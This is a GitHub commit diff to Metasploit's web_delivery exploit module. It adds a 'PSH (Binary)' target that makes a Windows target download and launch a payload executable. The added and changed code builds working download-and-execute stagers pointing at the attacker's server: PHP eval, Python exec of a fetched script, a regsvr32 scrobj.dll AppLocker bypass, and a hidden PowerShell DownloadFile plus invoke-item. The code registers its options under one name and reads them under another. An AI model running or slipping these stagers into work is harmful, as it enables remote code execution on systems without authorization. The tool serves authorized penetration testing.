Skip to content

Commit accb77d

Browse files
committed
Add PSH (Binary) as a target to web_delivery
1 parent 96f7012 commit accb77d

File tree

1 file changed

+53
-10
lines changed

1 file changed

+53
-10
lines changed

modules/exploits/multi/script/web_delivery.rb

Lines changed: 53 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@
88
class MetasploitModule < Msf::Exploit::Remote
99
Rank = ManualRanking
1010

11+
include Msf::Exploit::EXE
1112
include Msf::Exploit::Powershell
1213
include Msf::Exploit::Remote::HttpServer
1314

@@ -31,6 +32,8 @@ def initialize(info = {})
3132
The signed Microsoft binary file, Regsvr32, is able to request an .sct file and then execute the included
3233
PowerShell command inside of it. Both web requests (i.e., the .sct file and PowerShell download/execute)
3334
can occur on the same port.
35+
36+
"PSH (Binary)" will write a file to the disk, allowing for custom binaries to be served up to be downloaded/executed.
3437
),
3538
'License' => MSF_LICENSE,
3639
'Author' =>
@@ -40,6 +43,7 @@ def initialize(info = {})
4043
'Chris Campbell', # @obscuresec - Inspiration n.b. no relation!
4144
'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee)
4245
'Trenton Ivey', # AppLocker MSF Module (kn0)
46+
'g0tmi1k', # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
4347
],
4448
'DefaultOptions' =>
4549
{
@@ -71,6 +75,10 @@ def initialize(info = {})
7175
['Regsvr32', {
7276
'Platform' => 'win',
7377
'Arch' => [ARCH_X86, ARCH_X64]
78+
}],
79+
['PSH (Binary)', {
80+
'Platform' => 'win',
81+
'Arch' => [ARCH_X86, ARCH_X64]
7482
}]
7583
],
7684
'DefaultTarget' => 0,
@@ -79,32 +87,43 @@ def initialize(info = {})
7987

8088
register_advanced_options(
8189
[
82-
OptBool.new('PSH-Proxy', [ true, 'PowerShell - Use the system proxy', true ])
90+
OptBool.new('PSH-Proxy', [ true, 'PSH - Use the system proxy', true ]),
91+
OptString.new('PSHBinary-PATH', [ false, 'PSH (Binary) - The folder to store the file on the target machine (Will be %TEMP% if left blank)', '' ]),
92+
OptString.new('PSHBinary-FILENAME', [ false, 'PSH (Binary) - The filename to use (Will be random if left blank)', '' ]),
8393
], self.class
8494
)
8595
end
8696

8797

8898
def primer
89-
url = get_uri
99+
php = %Q(php -d allow_url_fopen=true -r "eval(file_get_contents('#{get_uri}'));")
100+
python = %Q(python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{get_uri}');exec(r.read());")
101+
regsvr = %Q(regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll)
102+
90103
print_status("Run the following command on the target machine:")
91104
case target.name
92105
when 'PHP'
93-
print_line(%Q(php -d allow_url_fopen=true -r "eval(file_get_contents('#{url}'));"))
106+
print_line("#{php}")
94107
when 'Python'
95-
print_line(%Q(python -c "import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{url}');exec(r.read());"))
108+
print_line("#{python}")
96109
when 'PSH'
97-
print_line(gen_psh(url))
110+
psh = gen_psh("#{get_uri}", "string")
111+
print_line("#{psh}")
98112
when 'Regsvr32'
99-
print_line("regsvr32 /s /n /u /i:#{url}.sct scrobj.dll")
113+
print_line("#{regsvr}")
114+
when 'PSH (Binary)'
115+
psh = gen_psh("#{get_uri}", "download")
116+
print_line("#{psh}")
100117
end
101118
end
102119

103120

104121
def on_request_uri(cli, _request)
105122
if _request.raw_uri =~ /\.sct$/
106-
psh = gen_psh(get_uri)
123+
psh = gen_psh("#{get_uri}", "string")
107124
data = gen_sct_file(psh)
125+
elsif target.name.include? 'PSH (Binary)'
126+
data = generate_payload_exe
108127
elsif target.name.include? 'PSH' or target.name.include? 'Regsvr32'
109128
data = cmd_psh_payload(payload.encoded,
110129
payload_instance.arch.first,
@@ -125,10 +144,34 @@ def on_request_uri(cli, _request)
125144
end
126145

127146

128-
def gen_psh(url)
147+
def gen_psh(url, *method)
129148
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
130-
download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
131-
download_and_run = "#{ignore_cert}#{download_string}"
149+
150+
if method.include? 'string'
151+
download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
152+
download_and_run = "#{ignore_cert}#{download_string}"
153+
else
154+
# Random filename to use, if there isn't anything set
155+
random = "#{rand_text_alphanumeric 8}.exe"
156+
157+
# Set filename (Use random filename if empty)
158+
filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']
159+
160+
# Set path (Use %TEMP% if empty)
161+
path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')
162+
163+
# Join Path and Filename
164+
file = %Q(echo (#{path}+'\\#{filename}'))
165+
166+
# Generate download PowerShell command
167+
#download_string = Rex::Powershell::PshMethods.download(url, "$z") # Can't use, due to single vs double quotes in the URL
168+
download_string = %Q^(new-object System.Net.WebClient).DownloadFile('#{url}', "$z")^
169+
170+
# Join PowerShell commands up
171+
download_and_run = "$z=#{file};#{ignore_cert}#{download_string};invoke-item $z"
172+
end
173+
174+
# Generate main PowerShell command
132175
return generate_psh_command_line(noprofile: true,
133176
windowstyle: 'hidden',
134177
command: download_and_run

0 commit comments

Comments
 (0)